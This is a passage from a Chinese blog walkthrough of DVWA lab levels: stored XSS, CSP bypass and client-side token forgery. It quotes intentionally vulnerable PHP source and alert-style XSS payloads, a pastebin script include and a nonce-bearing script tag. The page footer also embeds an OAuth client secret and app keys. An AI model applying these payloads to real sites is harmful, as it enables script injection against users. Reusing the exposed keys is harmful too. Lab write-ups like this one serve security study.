class="string">"___mysqli_ston"</span>])) ? mysqli_real_escape_string($GLOBALS[<span class="string">"___mysqli_ston"</span>], $message ) : ((trigger_error(<span class="string">"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work."</span>, E_USER_ERROR)) ? <span class="string">""</span> : <span class="string">""</span>));</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Sanitize name input</span></span><br><span class="line"> $name = ((<span class="keyword">isset</span>($GLOBALS[<span class="string">"___mysqli_ston"</span>]) &amp;&amp; is_object($GLOBALS[<span class="string">"___mysqli_ston"</span>])) ? mysqli_real_escape_string($GLOBALS[<span class="string">"___mysqli_ston"</span>], $name ) : ((trigger_error(<span class="string">"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work."</span>, E_USER_ERROR)) ? <span class="string">""</span> : <span class="string">""</span>));</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Update database</span></span><br><span class="line"> $query = <span class="string">"INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"</span>;</span><br><span class="line"> $result = mysqli_query($GLOBALS[<span class="string">"___mysqli_ston"</span>], $query ) <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">'&lt;pre&gt;'</span> . ((is_object($GLOBALS[<span class="string">"___mysqli_ston"</span>])) ? mysqli_error($GLOBALS[<span class="string">"___mysqli_ston"</span>]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : <span class="keyword">false</span>)) . <span class="string">'&lt;/pre&gt;'</span> );</span><br><span class="line"></span><br><span class="line"> <span class="comment">//mysql_close();</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure></p>
<p>插入之后会成为页面的元素显示出来<br><code>&lt;div id=&quot;guestbook_comments&quot;&gt;Name: 11&lt;br /&gt;Message: 111&lt;br /&gt;&lt;/div&gt;</code><br>看一下提交的方式:<br><code>txtName=22&amp;mtxMessage=222&amp;btnSign=Sign+Guestbook</code><br>直接插入script语句<code>txtName=22&lt;script&gt;alert(1)&lt;/script&gt;&amp;mtxMessage=222&amp;btnSign=Sign+Guestbook</code></p>
<h2 id="medium模式-9"><a href="#medium模式-9" class="headerlink" title="medium模式"></a>medium模式</h2><p>源码中增加了几个函数的使用:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">* $message = strip_tags(addslashes($message)); 剥去字符串中的 HTML、XML 以及 PHP 的标签。</span><br><span class="line">* $message = htmlspecialchars( $message ); 把预定义的字符 &quot;&lt;&quot; (小于)和 &quot;&gt;&quot; (大于)转换为 HTML 实体:</span><br><span class="line">* $name = str_replace( &apos;&lt;script&gt;&apos;, &apos;&apos;, $name );</span><br></pre></td></tr></table></figure></p>
<h1 id="绕过安全策略"><a href="#绕过安全策略" class="headerlink" title="绕过安全策略"></a>绕过安全策略</h1><h2 id="easy模式-9"><a href="#easy模式-9" class="headerlink" title="easy模式"></a>easy模式</h2><blockquote>
<p>内容安全策略CSP用于定义可以从中加载或执行脚本和其他资源的位置。本单元将引导您根据开发人员常见错误绕过策略。<br>这些漏洞都不是CSP中的实际漏洞它们是实施漏洞的漏洞。</p>
</blockquote>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line">$headerCSP = <span class="string">"Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"</span>; <span class="comment">// allows js from self, pastebin.com, jquery and google analytics.</span></span><br><span class="line"></span><br><span class="line">header($headerCSP);</span><br><span class="line"></span><br><span class="line"><span class="comment"># https://pastebin.com/raw/R570EE00</span></span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span> ($_POST[<span class="string">'include'</span>])) &#123;</span><br><span class="line">$page[ <span class="string">'body'</span> ] .= <span class="string">"</span></span><br><span class="line"><span class="string"> &lt;script src='"</span> . $_POST[<span class="string">'include'</span>] . <span class="string">"'&gt;&lt;/script&gt;</span></span><br><span class="line"><span class="string">"</span>;</span><br><span class="line">&#125;</span><br><span class="line">$page[ <span class="string">'body'</span> ] .= <span class="string">'</span></span><br><span class="line"><span class="string">&lt;form name="csp" method="POST"&gt;</span></span><br><span class="line"><span class="string"> &lt;p&gt;You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:&lt;/p&gt;</span></span><br><span class="line"><span class="string"> &lt;input size="50" type="text" name="include" value="" id="include" /&gt;</span></span><br><span class="line"><span class="string"> &lt;input type="submit" value="Include" /&gt;</span></span><br><span class="line"><span class="string">&lt;/form&gt;</span></span><br><span class="line"><span class="string">'</span>;</span><br></pre></td></tr></table></figure>
<p>会在页面里增加一个body<code>&lt;script src=&#39;&quot; . $_POST[&#39;include&#39;] . &quot;&#39;&gt;&lt;/script&gt;</code><br>这里在源码中规定了信任的脚本源:<br><code>script-src &#39;self&#39; https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;&quot;; // allows js from self, pastebin.com, jquery and google analytics.</code><br>输入源码中提示的<a href="https://pastebin.com/raw/R570EE00弹窗成功" target="_blank" rel="noopener">https://pastebin.com/raw/R570EE00弹窗成功</a></p>
<h2 id="medium模式-10"><a href="#medium模式-10" class="headerlink" title="medium模式"></a>medium模式</h2><p>如果你要使用 script 标签加载 javascript, 你需要指明其 nonce 值<br><code>$headerCSP = &quot;Content-Security-Policy: script-src &#39;self&#39; &#39;unsafe-inline&#39; &#39;nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=&#39;;&quot;;</code><br>比如:<br><code>&lt;script nonce=&quot;TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=&quot;&gt;alert(1)&lt;/script&gt;</code></p>
<h1 id="JavaScript-Attacks"><a href="#JavaScript-Attacks" class="headerlink" title="JavaScript Attacks"></a>JavaScript Attacks</h1><h2 id="easy模式-10"><a href="#easy模式-10" class="headerlink" title="easy模式"></a>easy模式</h2><blockquote>
<p>本节中的攻击旨在帮助您了解JavaScript在浏览器中的使用方式以及如何操作它。攻击可以通过分析网络流量来进行但这不是重点也可能要困难得多。<br>只需提交“成功”一词即可赢得关卡。显然它并不那么容易每个级别实现不同的保护机制页面中包含的JavaScript必须进行分析然后进行操作以绕过保护。</p>
</blockquote>
<p>提示我们Submit the word “success” to win.但是输入success却返回Invalid token.说明token值不对劲后台应该是比较输入的字符串与success<br>查看源码发现token值是在前台计算的md5(rot13(phrase))<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">function generate_token() &#123;</span><br><span class="line"> var phrase = document.getElementById(&quot;phrase&quot;).value;</span><br><span class="line"> document.getElementById(&quot;token&quot;).value = md5(rot13(phrase));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">generate_token();</span><br></pre></td></tr></table></figure></p>
<p>然而phrase的值等于ChangeMe<br><code>&lt;input type=&quot;text&quot; name=&quot;phrase&quot; value=&quot;ChangeMe&quot; id=&quot;phrase&quot;&gt;</code><br>因此计算出来的token也是不对的我们在chrome的控制台直接计算<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">md5(rot13(&quot;success&quot;))</span><br><span class="line">&quot;38581812b435834ebf84ebcc2c6424d6&quot;</span><br></pre></td></tr></table></figure></p>
<p>把值给隐藏的元素<code>&lt;input type=&quot;hidden&quot; name=&quot;token&quot; value=&quot;8b479aefbd90795395b3e7089ae0dc09&quot; id=&quot;token&quot;&gt;</code><br>然后提交success</p>
<h2 id="medium模式-11"><a href="#medium模式-11" class="headerlink" title="medium模式"></a>medium模式</h2><p>生成token的代码在js文件中<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">do_something</span>(<span class="params">e</span>) </span>&#123;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">var</span> t = <span class="string">""</span>, n = e.length - <span class="number">1</span>; n &gt;= <span class="number">0</span>; n--) t += e[n];</span><br><span class="line"> <span class="keyword">return</span> t</span><br><span class="line">&#125;</span><br><span class="line">setTimeout(<span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line"> do_elsesomething(<span class="string">"XX"</span>)</span><br><span class="line">&#125;, <span class="number">300</span>);</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">do_elsesomething</span>(<span class="params">e</span>) </span>&#123;</span><br><span class="line"> <span class="built_in">document</span>.getElementById(<span class="string">"token"</span>).value = do_something(e + <span class="built_in">document</span>.getElementById(<span class="string">"phrase"</span>).value + <span class="string">"XX"</span>)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<p>输入success然后控制台运行do_elsesomething(“XX”)就可以拿到token</p>
</div>
<div>
<div style="padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;">
<div>您的支持将鼓励我继续创作!</div>
<button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
<span>打赏</span>
</button>
<div id="QR" style="display: none;">
<div id="wechat" style="display: inline-block">
<img id="wechat_qr" src="/images/Wechatpay.png" alt="Cool-Y 微信支付">
<p>微信支付</p>
</div>
<div id="alipay" style="display: inline-block">
<img id="alipay_qr" src="/images/Alipay.png" alt="Cool-Y 支付宝">
<p>支付宝</p>
</div>
</div>
</div>
</div>
<footer class="post-footer">
<div class="post-tags">
<a href="/tags/web/" rel="tag"># web</a>
<a href="/tags/ctf/" rel="tag"># ctf</a>
</div>
<div class="post-nav">
<div class="post-nav-next post-nav-item">
<a href="/2019/07/16/linux-pwn-32/" rel="next" title="Linux Pwn-缓冲区溢出利用">
<i class="fa fa-chevron-left"></i> Linux Pwn-缓冲区溢出利用
</a>
</div>
<span class="post-nav-divider"></span>
<div class="post-nav-prev post-nav-item">
<a href="/2019/07/24/获取固件/" rel="prev" title="获取固件的几种方法">
获取固件的几种方法 <i class="fa fa-chevron-right"></i>
</a>
</div>
</div>
</footer>
</div>
</article>
<div class="post-spread">
</div>
</div>
</div>
<div class="comments" id="comments">
<div id="gitment-container"></div>
</div>
</div>
<div class="sidebar-toggle">
<div class="sidebar-toggle-line-wrap">
<span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
<span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
<span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
</div>
</div>
<aside id="sidebar" class="sidebar">
<div class="sidebar-inner">
<ul class="sidebar-nav motion-element">
<li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
文章目录
</li>
<li class="sidebar-nav-overview" data-target="site-overview-wrap">
站点概览
</li>
</ul>
<section class="site-overview-wrap sidebar-panel">
<div class="site-overview">
<div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
<img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
<p class="site-author-name" itemprop="name">Cool-Y</p>
<p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
</div>
<nav class="site-state motion-element">
<div class="site-state-item site-state-posts">
<a href="/archives/">
<span class="site-state-item-count">21</span>
<span class="site-state-item-name">日志</span>
</a>
</div>
<div class="site-state-item site-state-categories">
<a href="/categories/index.html">
<span class="site-state-item-count">9</span>
<span class="site-state-item-name">分类</span>
</a>
</div>
<div class="site-state-item site-state-tags">
<a href="/tags/index.html">
<span class="site-state-item-count">43</span>
<span class="site-state-item-name">标签</span>
</a>
</div>
</nav>
<div class="links-of-author motion-element">
<span class="links-of-author-item">
<a href="https://github.com/Cool-Y" target="_blank" title="GitHub">
<i class="fa fa-fw fa-github"></i>GitHub</a>
</span>
<span class="links-of-author-item">
<a href="mailto:cool.yim@whu.edu.cn" target="_blank" title="E-Mail">
<i class="fa fa-fw fa-envelope"></i>E-Mail</a>
</span>
<span class="links-of-author-item">
<a href="https://www.instagram.com/yan__han/" target="_blank" title="Instagram">
<i class="fa fa-fw fa-instagram"></i>Instagram</a>
</span>
</div>
</div>
</section>
<!--noindex-->
<section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
<div class="post-toc">
<div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#搭建环境"><span class="nav-text">搭建环境</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#暴力破解"><span class="nav-text">暴力破解</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#easy模式"><span class="nav-text">easy模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式"><span class="nav-text">medium模式</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#命令执行"><span class="nav-text">命令执行</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#easy模式-1"><span class="nav-text">easy模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式-1"><span class="nav-text">medium模式</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#CSRF"><span class="nav-text">CSRF</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#easy模式-2"><span class="nav-text">easy模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式-2"><span class="nav-text">medium模式</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#文件包含"><span class="nav-text">文件包含</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#easy模式-3"><span class="nav-text">easy模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式-3"><span class="nav-text">medium模式</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#文件上传"><span class="nav-text">文件上传</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#easy模式-4"><span class="nav-text">easy模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式-4"><span class="nav-text">medium模式</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#SQL注入"><span class="nav-text">SQL注入</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#easy模式-5"><span class="nav-text">easy模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式-5"><span class="nav-text">medium模式</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#SQL盲注"><span class="nav-text">SQL盲注</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#弱session-id"><span class="nav-text">弱session-id</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#easy模式-6"><span class="nav-text">easy模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式-6"><span class="nav-text">medium模式</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#基于DOM的XSS"><span class="nav-text">基于DOM的XSS</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#easy模式-7"><span class="nav-text">easy模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式-7"><span class="nav-text">medium模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式-8"><span class="nav-text">medium模式</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#存储型xss"><span class="nav-text">存储型xss</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#easy模式-8"><span class="nav-text">easy模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式-9"><span class="nav-text">medium模式</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#绕过安全策略"><span class="nav-text">绕过安全策略</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#easy模式-9"><span class="nav-text">easy模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式-10"><span class="nav-text">medium模式</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#JavaScript-Attacks"><span class="nav-text">JavaScript Attacks</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#easy模式-10"><span class="nav-text">easy模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式-11"><span class="nav-text">medium模式</span></a></li></ol></li></ol></div>
</div>
</section>
<!--/noindex-->
</div>
</aside>
</div>
</main>
<footer id="footer" class="footer">
<div class="footer-inner">
<div class="copyright">&copy; <span itemprop="copyrightYear">2019</span>
<span class="with-love">
<i class="fa fa-user"></i>
</span>
<span class="author" itemprop="copyrightHolder">Cool-Y</span>
<span class="post-meta-divider">|</span>
<span class="post-meta-item-icon">
<i class="fa fa-area-chart"></i>
</span>
<span title="Site words total count">64.4k</span>
</div>
<div class="powered-by"><a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>
<div class="busuanzi-count">
<script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<span class="site-uv">
<i class="fa fa-user"></i>
<span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
</span>
<span class="site-pv">
<i class="fa fa-eye"></i>
<span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
</span>
</div>
</div>
</footer>
<div class="back-to-top">
<i class="fa fa-arrow-up"></i>
</div>
</div>
<script type="text/javascript">
if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
window.Promise = null;
}
</script>
<script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
<script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
<script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
<script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
<script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
<script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
<script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/affix.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/schemes/pisces.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/scrollspy.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>
<!-- LOCAL: You can save these files to your site and update links -->
<link rel="stylesheet" href="https://jjeejj.github.io/css/gitment.css">
<script src="https://jjeejj.github.io/js/gitment.js"></script>
<!-- END LOCAL -->
<script type="text/javascript">
function renderGitment(){
var gitment = new Gitment({
id: window.location.pathname,
owner: 'Cool-Y',
repo: 'gitment-comments',
oauth: {
client_secret: '1c5db4da72df5e6fc318d12afe5f4406f7c54343',
client_id: '180955a2c3ae3d966d9a'
}});
gitment.render('gitment-container');
}
renderGitment();
</script>
<script type="text/javascript">
// Popup Window;
var isfetched = false;
var isXml = true;
// Search DB path;
var search_path = "search.xml";
if (search_path.length === 0) {
search_path = "search.xml";
} else if (/json$/i.test(search_path)) {
isXml = false;
}
var path = "/" + search_path;
// monitor main search box;
var onPopupClose = function (e) {
$('.popup').hide();
$('#local-search-input').val('');
$('.search-result-list').remove();
$('#no-result').remove();
$(".local-search-pop-overlay").remove();
$('body').css('overflow', '');
}
function proceedsearch() {
$("body")
.append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
.css('overflow', 'hidden');
$('.search-popup-overlay').click(onPopupClose);
$('.popup').toggle();
var $localSearchInput = $('#local-search-input');
$localSearchInput.attr("autocapitalize", "none");
$localSearchInput.attr("autocorrect", "off");
$localSearchInput.focus();
}
// search function;
var searchFunc = function(path, search_id, content_id) {
'use strict';
// start loading animation
$("body")
.append('<div class="search-popup-overlay local-search-pop-overlay">' +
'<div id="search-loading-icon">' +
'<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
'</div>' +
'</div>')
.css('overflow', 'hidden');
$("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');
$.ajax({
url: path,
dataType: isXml ? "xml" : "json",
async: true,
success: function(res) {
// get the contents from search data
isfetched = true;
$('.popup').detach().appendTo('.header-inner');
var datas = isXml ? $("entry", res).map(function() {
return {
title: $("title", this).text(),
content: $("content",this).text(),
url: $("url" , this).text()
};
}).get() : res;
var input = document.getElementById(search_id);
var resultContent = document.getElementById(content_id);
var inputEventFunction = function() {
var searchText = input.value.trim().toLowerCase();
var keywords = searchText.split(/[\s\-]+/);
if (keywords.length > 1) {
keywords.push(searchText);
}
var resultItems = [];
if (searchText.length > 0) {
// perform local searching
datas.forEach(function(data) {
var isMatch = false;
var hitCount = 0;
var searchTextCount = 0;
var title = data.title.trim();
var titleInLowerCase = title.toLowerCase();
var content = data.content.trim().replace(/<[^>]+>/g,"");
var contentInLowerCase = content.toLowerCase();
var articleUrl = decodeURIComponent(data.url);
var indexOfTitle = [];
var indexOfContent = [];
// only match articles with not empty titles
if(title != '') {
keywords.forEach(function(keyword) {
function getIndexByWord(word, text, caseSensitive) {
var wordLen = word.length;
if (wordLen === 0) {
return [];
}
var startPosition = 0, position = [], index = [];
if (!caseSensitive) {
text = text.toLowerCase();
word = word.toLowerCase();
}
while ((position = text.indexOf(word, startPosition)) > -1) {
index.push({position: position, word: word});
startPosition = position + wordLen;
}
return index;
}
indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
});
if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
isMatch = true;
hitCount = indexOfTitle.length + indexOfContent.length;
}
}
// show search results
if (isMatch) {
// sort index by position of keyword
[indexOfTitle, indexOfContent].forEach(function (index) {
index.sort(function (itemLeft, itemRight) {
if (itemRight.position !== itemLeft.position) {
return itemRight.position - itemLeft.position;
} else {
return itemLeft.word.length - itemRight.word.length;
}
});
});
// merge hits into slices
function mergeIntoSlice(text, start, end, index) {
var item = index[index.length - 1];
var position = item.position;
var word = item.word;
var hits = [];
var searchTextCountInSlice = 0;
while (position + word.length <= end && index.length != 0) {
if (word === searchText) {
searchTextCountInSlice++;
}
hits.push({position: position, length: word.length});
var wordEnd = position + word.length;
// move to next position of hit
index.pop();
while (index.length != 0) {
item = index[index.length - 1];
position = item.position;
word = item.word;
if (wordEnd > position) {
index.pop();
} else {
break;
}
}
}
searchTextCount += searchTextCountInSlice;
return {
hits: hits,
start: start,
end: end,
searchTextCount: searchTextCountInSlice
};
}
var slicesOfTitle = [];
if (indexOfTitle.length != 0) {
slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
}
var slicesOfContent = [];
while (indexOfContent.length != 0) {
var item = indexOfContent[indexOfContent.length - 1];
var position = item.position;
var word = item.word;
// cut out 100 characters
var start = position - 20;
var end = position + 80;
if(start < 0){
start = 0;
}
if (end < position + word.length) {
end = position + word.length;
}
if(end > content.length){
end = content.length;
}
slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
}
// sort slices in content by search text's count and hits' count
slicesOfContent.sort(function (sliceLeft, sliceRight) {
if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
return sliceRight.searchTextCount - sliceLeft.searchTextCount;
} else if (sliceLeft.hits.length !== sliceRight.hits.length) {
return sliceRight.hits.length - sliceLeft.hits.length;
} else {
return sliceLeft.start - sliceRight.start;
}
});
// select top N slices in content
var upperBound = parseInt('1');
if (upperBound >= 0) {
slicesOfContent = slicesOfContent.slice(0, upperBound);
}
// highlight title and content
function highlightKeyword(text, slice) {
var result = '';
var prevEnd = slice.start;
slice.hits.forEach(function (hit) {
result += text.substring(prevEnd, hit.position);
var end = hit.position + hit.length;
result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
prevEnd = end;
});
result += text.substring(prevEnd, slice.end);
return result;
}
var resultItem = '';
if (slicesOfTitle.length != 0) {
resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
} else {
resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
}
slicesOfContent.forEach(function (slice) {
resultItem += "<a href='" + articleUrl + "'>" +
"<p class=\"search-result\">" + highlightKeyword(content, slice) +
"...</p>" + "</a>";
});
resultItem += "</li>";
resultItems.push({
item: resultItem,
searchTextCount: searchTextCount,
hitCount: hitCount,
id: resultItems.length
});
}
})
};
if (keywords.length === 1 && keywords[0] === "") {
resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
} else if (resultItems.length === 0) {
resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
} else {
resultItems.sort(function (resultLeft, resultRight) {
if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
return resultRight.searchTextCount - resultLeft.searchTextCount;
} else if (resultLeft.hitCount !== resultRight.hitCount) {
return resultRight.hitCount - resultLeft.hitCount;
} else {
return resultRight.id - resultLeft.id;
}
});
var searchResultList = '<ul class=\"search-result-list\">';
resultItems.forEach(function (result) {
searchResultList += result.item;
})
searchResultList += "</ul>";
resultContent.innerHTML = searchResultList;
}
}
if ('auto' === 'auto') {
input.addEventListener('input', inputEventFunction);
} else {
$('.search-icon').click(inputEventFunction);
input.addEventListener('keypress', function (event) {
if (event.keyCode === 13) {
inputEventFunction();
}
});
}
// remove loading animation
$(".local-search-pop-overlay").remove();
$('body').css('overflow', '');
proceedsearch();
}
});
}
// handle and trigger popup window;
$('.popup-trigger').click(function(e) {
e.stopPropagation();
if (isfetched === false) {
searchFunc(path, 'local-search-input', 'local-search-result');
} else {
proceedsearch();
};
});
$('.popup-btn-close').click(onPopupClose);
$('.popup').click(function(e){
e.stopPropagation();
});
$(document).on('keyup', function (event) {
var shouldDismissSearchPopup = event.which === 27 &&
$('.search-popup').is(':visible');
if (shouldDismissSearchPopup) {
onPopupClose();
}
});
</script>
<script src="https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js"></script>
<script>AV.initialize("EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz", "x8FxDrYG79C8YFrTww9ljo8K");</script>
<script>
function showTime(Counter) {
var query = new AV.Query(Counter);
var entries = [];
var $visitors = $(".leancloud_visitors");
$visitors.each(function () {
entries.push( $(this).attr("id").trim() );
});
query.containedIn('url', entries);
query.find()
.done(function (results) {
var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
if (results.length === 0) {
$visitors.find(COUNT_CONTAINER_REF).text(0);
return;
}
for (var i = 0; i < results.length; i++) {
var item = results[i];
var url = item.get('url');
var time = item.get('time');
var element = document.getElementById(url);
$(element).find(COUNT_CONTAINER_REF).text(time);
}
for(var i = 0; i < entries.length; i++) {
var url = entries[i];
var element = document.getElementById(url);
var countSpan = $(element).find(COUNT_CONTAINER_REF);
if( countSpan.text() == '') {
countSpan.text(0);
}
}
})
.fail(function (object, error) {
console.log("Error: " + error.code + " " + error.message);
});
}
function addCount(Counter) {
var $visitors = $(".leancloud_visitors");
var url = $visitors.attr('id').trim();
var title = $visitors.attr('data-flag-title').trim();
var query = new AV.Query(Counter);
query.equalTo("url", url);
query.find({
success: function(results) {
if (results.length > 0) {
var counter = results[0];
counter.fetchWhenSave(true);
counter.increment("time");
counter.save(null, {
success: function(counter) {
var $element = $(document.getElementById(url));
$element.find('.leancloud-visitors-count').text(counter.get('time'));
},
error: function(counter, error) {
console.log('Failed to save Visitor num, with error message: ' + error.message);
}
});
} else {
var newcounter = new Counter();
/* Set ACL */
var acl = new AV.ACL();
acl.setPublicReadAccess(true);
acl.setPublicWriteAccess(true);
newcounter.setACL(acl);
/* End Set ACL */
newcounter.set("title", title);
newcounter.set("url", url);
newcounter.set("time", 1);
newcounter.save(null, {
success: function(newcounter) {
var $element = $(document.getElementById(url));
$element.find('.leancloud-visitors-count').text(newcounter.get('time'));
},
error: function(newcounter, error) {
console.log('Failed to create');
}
});
}
},
error: function(error) {
console.log('Error:' + error.code + " " + error.message);
}
});
}
$(function() {
var Counter = AV.Object.extend("Counter");
if ($('.leancloud_visitors').length == 1) {
addCount(Counter);
} else if ($('.post-title-link').length > 1) {
showTime(Counter);
}
});
</script>
<script>
(function(){
var bp = document.createElement('script');
var curProtocol = window.location.protocol.split(':')[0];
if (curProtocol === 'https') {
bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
}
else {
bp.src = 'http://push.zhanzhang.baidu.com/push.js';
}
